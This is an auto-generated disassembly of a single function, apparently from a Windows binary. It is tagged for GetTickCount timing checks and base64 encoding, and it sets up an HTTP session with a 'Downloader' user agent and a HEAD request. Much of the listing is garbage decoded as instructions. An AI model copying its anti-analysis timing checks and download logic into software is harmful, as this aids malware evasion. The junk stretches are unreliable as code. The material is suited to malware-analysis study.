Function at 0x45704b
Capabilities:
Check for time delay via gettickcount
Encode data using base64

Disassembly:
mov eax, 0x5471fd
call fcn.0054565c
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 4], 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
cmp eax, 0x18
ja 0x457272
mov ecx, 0x1ed65fea
mov al, 0x6a
fmulp st(3)
cdq
pop ds
test al, 0xf0
jecxz 0x4570dc
pop esi
call 0xe7e30920
stosb byte es:[edi], al
insb byte es:[edi], dx
cmp byte [edi], al
mov al, 0x68
pop esp
cdq
inc ebp
pop es
mov eax, dword [0x28f0f79e]
mov ebx, edi
aad 0xe6
inc esi
div eax
sub byte [ecx + 0x46e6d5fb], cl
pop ds
wait
aas
jp 0x4570a2
mov ebx, 0xe87d0dd7
movsd dword es:[edi], dword [esi]
out 0x6b, al
dec ecx
cmc
mov ch, dl
lahf
ja 0x45706a
xchg dword [ebp + esi*2 - 0x71c7379b], edx
inc edi
fist dword [0xc03e4ff7]
rcr bl, 0x24
lodsd eax, dword [esi]
pop ecx
sub eax, 0x1c54471a
ljmp 0xc726
mov dh, 0x97
fcomp dword [eax - 0x760aacc4]
aam 0x8f
jne 0x457095
mov ebx, 0x75c81d24
adc al, 0x31
sbb dl, byte [ecx]
ret
call ebx
cmp eax, 0x1d
ja 0x45747c
outsd dx, dword [esi]
inc ecx
cmp dword [eax - 0x5378b10d], edi
shr byte [0x2ec0245a], 0x8f
sbb al, 0x54
inc ebx
and dh, byte [eax]
adc ecx, esi
push esp
adc eax, 0x4fc5c347
das
mov byte [eax - 0x41], al
and ebx, 0x71
stosb byte es:[edi], al
and ebp, 0x1c4164ae
in eax, 0x70
inc edi
int3
call ebx
cmp eax, 0x23
ja 0x457686
mov dh, 0x6a
pop ecx
fldenv [ecx]
loopne 0x45749d
scasb al, byte es:[edi]
invalid
push ss
dec ebx
jge 0x731438b
xchg edx, eax
invalid
xor esi, esi
mov dword [ebp - 0x10], esi
call ebx
cmp eax, 0x28
ja 0x457895
xor al, 0xff
xor eax, 0x9d9ac901
pop edi
pushal
hlt
cdq
test byte [edx + 0x5c5833b9], al
invalid
call ebx
cmp eax, 0x2d
ja 0x457a9f
mov ebp, 0x39cf59ae
or dword [ebx], esp
sub edi, dword [edi]
in eax, dx
rol byte [esi - 0x4c], cl
jge 0x457843
ljmp 0xb151:0x57c37549
sub al, 0x4e
test eax, 0x46dea583
or bh, byte [ebx]
fiadd word [edx + 0x5f]
lahf
enter 0xffffffffffffe981, 0x6e
push esp
sub edi, dword [0x3753edb6]
mov bh, 0x61
salc
dec edx
out 0xdc, al
xchg byte [eax + edi], dl
pop ss
mov byte [0x62fbcd9c], dh
leave
outsd dx, dword [esi]
fidiv dword [ebp - 0x2c00e7c5]
call ebx
cmp eax, 0x37
ja 0x457ca9
and al, 0x47
js 0x457a71
cmp al, byte [ecx]
cwde
mov esp, 0x5404af88
push esi
mov byte [edi + 0x56675404], ch
jle 0x457a93
inc edx
enter 0xffffffffffffc562, 0xfffffffffffffff8
jne 0x457aec
add byte ss:[eax + edi - 0x2edc2962], 0xbc
or ebx, dword [ebx]
retf
mov ebx, 0x36d67ed3
mov word [ebx], ds
xchg ebp, eax
sbb esp, dword [esi - 0x45ecd125]
xor dword [ecx - 0x55], esi
push ss
leave
xlatb
jnp 0x457b1d
in eax, 8
mov al, byte [0x4504bfc4]
inc ebx
aaa
add bl, byte [ebp + 0xb]
out dx, eax
call 0x56e85fd9
and byte [esi], al
mov eax, 0x177e3ee6
jle 0x457b37
mov dl, 0x5d
sar dword [ebx], cl
pop ss
imul edx
mov dword [ecx - 0x381fd850], edi
mov ch, dl
jb 0x457ab2
push esp
enter 0xfffffffffffff7d2, 0x6f
inc eax
dec ebp
adc ebp, dword [ebp - 0x6f2681ef]
add dword [0x1872bfee], ebx
push edi
mov bl, 0x41
in eax, 0x84
mov ah, 0xed
push ss
lea eax, [esp + edi*8]
mov ebx, 0x4ab39a5a
xchg ecx, eax
test byte [ebp + ebp*2 - 0x6c92db5e], al
sar ch, 1
stc
jmp 0x20ccc587
call fcn.004ae8cf
push esi
push esi
push esi
push esi
push str.Downloader
call dword [eax + 0x1f0]
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x457ed7
call ebx
cmp eax, 0x44
ja 0x45a1cb
std
sahf
popal
xchg edx, eax
cmp eax, 0x65785974
mov ch, 0xaf
insb byte es:[edi], dx
out 0x59, al
mov edi, ecx
imul edx, esi, 0xffffff9e
fsubr dword [edx + 0x2a]
cmc
pop ds
out dx, al
leave
rcr byte [ecx + 0x221c028e], cl
add bh, byte [esi + 0x588515e4]
ljmp 0x5e1d
push esi
push ecx
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00401a1c
call fcn.00456e0b
mov edi, dword [ebp + 0xc]
mov esi, eax
call fcn.004ae8cf
push esi
push edi
push dword [ebp - 0x1c]
call dword [eax + 0x1f4]
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x458118
add byte [eax], al
call ebx
cmp eax, 0x54
ja 0x45a1cb
js 0x457f07
call 0x800d7b26
inc ecx
jg 0x457f5d
test al, 0x1d
mov dl, 0x40
and ecx, dword [eax - 0x6c8fb4e5]
arpl word [ebp + 0x2b], si
cli
stosd dword es:[edi], eax
outsd dx, dword [esi]
nop dword [edx]
sahf
mov esp, 0xb77017a3
xchg edi, eax
mov dword [0x97b77017], eax
leave
int1
mov bl, 0x70
sbb eax, 0x189d0f99
push 0x36cd309f
scasd eax, dword es:[edi]
fiadd dword [ecx + 0xe174544]
push ss
cmpsd dword [esi], dword es:[edi]
cmpsb byte [esi], byte es:[edi]
test dword [ebp + 0x10173c1d], eax
clc
jns 0x457f8d
jae 0x457f2c
rcr dword [ebx], cl
idiv dword [ebx + 0x19]
sbb esi, edi
jnp 0x457f76
jb 0x457f1a
sbb al, cl
adc al, 0xe
mov ah, 0x74
ror edi, 1
ret
jbe 0x457f31
out 0x2f, al
salc
invalid
xchg byte [ecx - 0x46dcc635], ch
sub eax, 0xecd3919e
je 0x457fae
cmp byte [edx + 0x38], 0xbe
fisubr dword [edx + 0xa5c2b3d]
lodsd eax, dword [esi]
outsd dx, dword [esi]
sbb dh, byte [ebx - 0x36]
dec ebp
sbb al, 0xde
jp 0x457f58
add dword [ecx + 3], edi
inc eax
jmp 0x93dc93b2
mov esi, dword [ebp + 0x10]
call fcn.004ae8cf
xor edi, edi
push edi
push edi
push edi
push edi
push esi
push str.HEAD
push dword [ebp - 0x1c]
call dword [eax + 0x1f8]
mov esi, eax
test esi, esi
jne 0x45834e
call ebx
cmp eax, 0x67
ja 0x45a1cb
xlatb
invalid
call fcn.004ae8cf
push edi
push edi
push edi
push edi
push edi
push edi
push esi
call dword [eax + 0x1fc]
cmp eax, 1
je 0x458578
call ebx
cmp eax, 0xd
ja 0x45a1cb
call 0xec517925
xadd dword [edx], ecx
add al, 0xc2
idiv dword [edi - 0x37defe3]
jo 0x630a122c
xor al, 0x6e
popfd
test al, 0x34
cmp al, 0x11
test dword [eax - 0x21016718], 0x4107c7b3
push esi
mov esp, 0xbc8048cb
mov ecx, dword [eax]
xchg byte [ebx], bl
pop esp
or edx, dword [esi + 0x5c]
ret
call fcn.004ae8cf
push edi
push esi
call dword [eax + 0x200]
mov dword [ebp - 0x1c], eax
call ebx
cmp eax, 0x19
ja 0x458792
invalid
cmp dword [ebp - 0x1c], edi
je 0x459fc1
call fcn.004ae8cf
push edi
lea ecx, [ebp - 0x10]
push ecx
push edi
push edi
push 0x16
push esi
call dword [eax + 0x218]
call ebx
cmp eax, 0x26
ja 0x4589ba
jbe 0x4587d5
iretd
iretd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x45a1ce
mov eax, dword [ebp - 0x10]
xor ecx, ecx
push 2
shr eax, 1
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00417f6a
pop ecx
mov dword [ebp - 0x18], eax
call ebx
cmp eax, 0x2f
ja 0x458bf0
xchg edi, edi
add dword [eax], eax
add byte [ebx + ebp*4 + 0x88efa41], dh
mov ah, 0xab
inc ecx
cli
mov cs, word [eax]
test eax, 0x68bfcd8a
in al, 0x3a
inc esi
stosb byte es:[edi], al
aad 0x81
push 0x458715a2
jge 0x458a77
std
lcall 0x85e8, 0x42362095
xor eax, 0xbf1c8fd
jno 0x4589ec
fsub qword [eax + 0x6e]
inc ebx
dec edi
jbe 0x4589ee
dec ebx
ja 0x458aa0
jg 0x458a4d
dec esi
in eax, dx
mov dword [0x8407edb9], edi
invalid
fsubr qword [ebx - 0x1d47406a]
shl byte [esi - 0x14ba3195], cl
add dl, byte [edi + ecx*4]
invalid
pop esp
cmp dword [edx + 0x1a], esp
or ebx, ebp
cli
fild word [ecx + 0x1f]
out 0x19, al
fidivr dword [edx - 0x501692db]
sbb eax, 0xd199953c
or eax, 0x39a845a0
inc edi
or dword [eax - 0x19], esi
push 0x57
mov byte [0xe891ed3b], al
retf
pop esi
pop ds
fcom qword [ebx - 0x28]
rcl byte [ebx], 0xa9
daa
sbb eax, 0xa42cf35a
aas
pop ss
adc dword [ebx + 0x536473d4], 0xffffffaf
iretd
mov ecx, dword [ebp - 0x10]
shr ecx, 1
push ecx
push edi
push dword [ebp - 0x18]
call fcn.0041b930
add esp, 0xc
call ebx
cmp eax, 0x34
ja 0x458e0c
xor dword [eax], eax
xor byte [ebx - 0xa], bh
movsb byte es:[edi], byte [esi]
scasd eax, dword es:[edi]
std
mov ah, 0xd7
or dword [ecx - 0x31], edx
adc byte [esi - 0x3d], 0xb2
jno 0x458c1f
jmp dword [esi + esi*4 + 0x4642c6a9]
movsb byte es:[edi], byte [esi]
mov dh, 0xa9
mov byte [edx + 0x46], 0xfc
push es
sbb byte [edx - 0x26], al
cmp al, 0x41
mov al, byte [0x5933c76a]
fldlg2
test eax, 0xe11df383
mov edx, 0xc5087bf0
nop
cdq
ja 0x458cad
or dword [edi], 0xffffffd2
cmp bh, 0x9b
jae 0x458c63
adc dl, byte [edx + ebp]
mov esi, 0x2bcfe8f1
xchg ecx, eax
fisubr word [ebx - 0x181c8d64]
inc ebx
mov dword [0x7ce03516], eax
lds edi, [esi - 0x4971733b]
and eax, 0x8f33c4d3
xor dword [0x691fb63f], edx
sub esi, dword [ebx - 0x63]
or al, 0x27
lds ecx, [esi + ecx*4 - 0x3b2cda4a]
xor ecx, dword [edi - 0x49c0eacf]
pop ds
imul ebp, dword [ebx], 0x270c9d73
invalid
or eax, 0xb710106b
jl 0x458c6b
mov dword [edx - 0x58], ebx
imul ecx, dword [ebp - 0x6b], 0xffffffa1
ret 0x3c4
xor byte [esi], bl
xchg byte [eax + 0x64], ch
mov esp, 0xe05c13f
in eax, 0x3a
cdq
xchg edi, eax
ror dword [ecx - 0x75f222b4], 0xdb
mov edi, 0x9b033fd
add dl, cl
dec edi
inc esi
inc ebx
push ebp
invalid
call fcn.004ae8cf
push edi
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 0x18]
push edi
push 0x16
push esi
call dword [eax + 0x218]
mov esi, eax
call ebx
cmp eax, 0x3d
ja 0x45902f
pop ecx
rcr bl, 5
invalid
invalid
test esi, esi
je 0x459f4d
push dword [ebp - 0x18]
lea ecx, [ebp - 0x14]
call fcn.00401a3b
mov byte [ebp - 4], 4
call ebx
cmp eax, 0x45
ja 0x459250
xor cl, 0x1f
inc edi
sub bl, byte [esi]
pop esp
sub bl, 0xd7
js 0x458ff8
lea edx, [ebp + 0x14]
ret 0x2565
lea eax, [ebp + 0x14]
push eax
lea ecx, [ebp - 0x20]
call fcn.00401a1c
mov byte [ebp - 4], 5
call ebx
cmp eax, 0x4b
ja 0x45946a
aad 0xb6
cdq
dec ebp
inc ebx
sahf
mov al, cl
inc ebp
sbb byte [ebx + 0x12], 0x55
invalid
mov esi, dword [ebp - 0x20]
push ecx
push esi
lea ecx, [ebp - 0x14]
call fcn.00405517
mov dword [ebp - 0x1c], eax
call ebx
cmp eax, 0x51
ja 0x459684
fisub dword [ecx - 0x31b3adc5]
arpl word [ecx], ax
add ebx, dword [ebx - 0x60830f98]
push ecx
cdq
cdq
inc edx
mov ch, 0xc7
inc edi
sar byte [ebp + ecx*2 + 0x5e], cl
shr ecx, cl
test ecx, 0xe6c1d996
or eax, 0xdd2f4745
push cs
jge 0x4594c9
mov ch, 0xfa
mov al, byte [0x6cf9de3f]
mov ecx, 0xce90ae14
xchg ebp, eax
sub bl, byte [edi - 0x2e]
ja 0x4594bb
enter 0x3e48, 0x65
mov byte [ebx - 0x52], cl
out dx, eax
sahf
sub eax, 0x5dff22de
mov cs, word [ebp + 0xcba8e8c]
inc ecx
adc eax, 0x93af4a70
fiadd word [ebp - 0x6e502a54]
dec ecx
clc
cwde
and byte [ecx + edx*8], al
sub eax, 0xfa8c3f40
and eax, 0x29cf92f1
pushfd
mov cl, 0x5b
adc dword [edi + 0x77], edi
cld
xchg edx, eax
or al, 0xde
salc
adc al, 0x9c
das
and esi, dword [ebp - 0x6e36df9e]
popfd
aas
xor al, byte [ecx + 0x12]
xchg esp, eax
pop eax
mov eax, dword [0xd61f82ba]
mov eax, 0x8d90e8ef
movsd dword es:[edi], dword [esi]
arpl word [ebp + 0x5fa4f78f], cx
cwde
cmpsd dword [esi], dword es:[edi]
jp 0x45958e
sti
pop es
cld
inc eax
mov esp, 0xf8645f
invalid
sbb al, 0xda
rcr byte [edi - 0x2ec0b86], 0x9c
sbb bh, byte [ecx]
add al, 0x60
xchg byte [ebx*2 - 0x3c7f3726], dl
jmp 0x4595b1
mov byte [ebp + 0x15], ah
mov al, byte [0xb18d8bda]
js 0x45962b
xchg edx, eax
push esi
mov cl, 0xa1
dec bh
push eax
jecxz 0x4595d2
mov eax, dword [0xe350cffe]
sbb ecx, dword [esi]
push cs
adc ebx, dword [ecx - 0x49]
ja 0x45961b
daa
jnp 0x4595a4
xor dword [ecx - 0x4fa71388], esp
add esp, dword [ebp - 0x1f]
ja 0x45958e
daa
sal dword [esi], cl
or byte [ebx], dl
sbb eax, 0xcd545e6e
inc esi
pop esi
push esp
int 0x46
arpl bp, sp
sub byte [0xc12453d5], 0xef
invalid
rol dword [eax - 0x47a080d], 0x63
and eax, 0xd43d1ff7
and eax, 0xb19fca23
mul dword [ebx]
pop ebx
insd dword es:[edi], dx
cmp esi, dword [ecx]
fld xword [ebx]
or dword [esi], 0x66
push 0x66
les esp, [edi + 0x36]
rcr byte [eax + 0x67], cl
dec ecx
mov byte [0x73763907], al
iretd
retf 0xb19f
cmp dword [ebp - 0x1c], 0xffffffff
jle 0x459f3a
mov eax, dword [ebp + 0x14]
mov eax, dword [eax - 0xc]
mov dword [ebp - 0x24], eax
call ebx
cmp eax, 0x58
ja 0x4598a1
mov byte [esi + 0x1b1a10fc], bh
ljmp 0x959f
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x14]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00405548
mov ecx, dword [ebp + 0x18]
push eax
mov byte [ebp - 4], 6
call fcn.00401ad5
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
call fcn.004013c0
call ebx
cmp eax, 0x5d
ja 0x459ae0
fnstenv [edx - 0x18]
xor eax, 0xdd96baf3
and al, 0xea
mul dword [0x55e3c049]
sbb al, 0x5f
add eax, dword [eax + ebp*4 - 0xe]
loop 0x459915
add dword [edx + 0x6a315b47], edx
ret
daa
mov bl, 0xb3
not ebx
cmc
pushal
ficom word [edi - 0x7029c7c]
pop esi
pop ss
pop ecx
mov ebp, 0xaf4a0ec3
out 0xf8, al
into
sahf
jmp 0x8e9bbf9
push ecx
mov ecx, dword [ebp + 0x18]
push 0x554314
call fcn.00405517
mov dword [ebp - 0x24], eax
call ebx
cmp eax, 0x63
ja 0x459cfb
adc al, 0x43
push ebp
add al, ch
sub dword [edx + 0x4589fffa], edi
fdiv st(7), st(0)
rol dword [ebx - 0x78f09c08], cl
inc dword [ecx]
add byte [eax], al
mov dh, 0x69
cmp dh, dh
arpl word [edx - 0x6d2dd725], bp
into
xchg ebp, eax
std
cld
push cs
lcall 0x843b, 0xf976cfdd
xor dword [edi - 0x3d], edi
loop 0x459b8a
in al, 0x5a
or al, 0x66
mov cl, 0xbe
push 0x73d41ae9
and ebx, dword [ebx + 0x41f4dc0c]
or al, 0x41
aam 0xb7
cmpsd dword [esi], dword es:[edi]
mov ebp, 0x5d5c17c0
fld qword [eax]
pop ds
fcomp dword [edi - 0x17]
pop ebp
jp 0x459ae5
mov ch, 0x3a
bound esi, qword [ebp - 0x4812e279]
xlatb
outsb dx, byte [esi]
jb 0x459b45
invalid
cmpsb byte [esi], byte es:[edi]
cmp ecx, dword [ecx - 0x15]
adc eax, 0xc4766e1a
pop ebp
clc
and dword [eax + ebp], ebp
int 0x47
or edx, ebx
xor dword [0x92e9e266], ebp
loop 0x459b75
xchg edx, eax
retf 0xa037
mov eax, dword [ebp - 0x24]
cmp eax, 0xffffffff
jne 0x459d0b
mov eax, dword [ebp + 0x18]
mov eax, dword [eax]
mov eax, dword [eax - 0xc]
mov ecx, dword [ebp + 0x18]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00405597
mov ecx, dword [ebp + 0x18]
push eax
mov byte [ebp - 4], 7
call fcn.00401ad5
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.004013c0
call ebx
cmp eax, 0x6b
ja 0x459f3a
mov esi, 0x4aac31eb
outsd dx, dword [esi]
outsd dx, dword [esi]
shl dword [edi - 0x63], cl
xchg edi, eax
xchg dword [ecx], edx
xchg ebx, eax
and ah, bl
inc esp
cdq
loopne 0x459db4
add edx, dword [ebx]
retf 0x33dc
jge 0x459d95
ror dword [esi - 0x11], cl
xchg byte [esi], bh
retf 0x107c
sub bl, ah
in al, 0xa0
pop ebp
add eax, 0x351a7a62
invalid
and ecx, ebp
nop
clc
aad 0x22
jle 0x459d8c
pop ds
adc eax, dword [eax + 0x7fa4c590]
mov bh, 0x24
push eax
pushal
lds esp, [edi + edi*2 + 0x605024b7]
cmpsd dword [esi], dword es:[edi]
loopne 0x459d85
xchg dword [eax + 0x29], eax
in eax, 0x3f
mov bl, 0x3c
mov dword [0x502c955c], eax
pop ds
xor esp, edx
mov edi, 0x75622659
shl dword [edi], cl
push ecx
adc eax, 0x1cb424ee
xchg dword [ebx + 0x61dcefb], edx
jno 0x459e26
inc esi
mov eax, 0x82cf06fe
xor bh, dl
mov ebp, es
cmp al, 0xa5
insb byte es:[edi], dx
les esp, [eax - 0x6976636e]
and ecx, ebp
invalid
adc dword [ebp + 0x31], edi
popfd
jae 0x459dc1
outsd dx, dword [esi]
nop
rol dword [edx], cl
mov esp, 0x84a5ad2d
add esp, eax
sub eax, 0x3aa7d9ca
mov esp, 0x8bc2caf2
nop
push ss
mov ch, 0x79
mov bh, 0xa
fdiv qword [ebx + esi]
rol dword [edi], cl
invalid
lea ecx, [esi - 0x10]
call fcn.004013c0
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.004013c0
push dword [ebp - 0x18]
call fcn.0041b9c0
pop ecx
call ebx
cmp eax, 8
ja 0x45a1ce
mov bl, 0xaa
mov cl, 0x48
sub eax, 0xdc850b6f
jbe 0x459f65
jmp 0x459fbf
out 0x7c, eax
cld
hlt
add byte [eax], al
call ebx
cmp eax, 0x15
ja 0x45a1cb
sbb edx, eax
mov al, 0x45
pop eax
pop ebp
test dword [edx - 0x719715df], ebx
movsd dword es:[edi], dword [esi]
js 0x459f83
dec ebx
cmp byte [eax - 0x7dabbc32], ah
mov ah, 0xde
invalid
push 0xd
pop edi
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.004013c0
mov ecx, dword [ebp + 0xc]
lea ecx, [ecx - 0x10]
call fcn.004013c0
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.004013c0
mov ecx, dword [ebp + 0x14]
add ecx, 0xfffffff0
call fcn.004013c0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0x14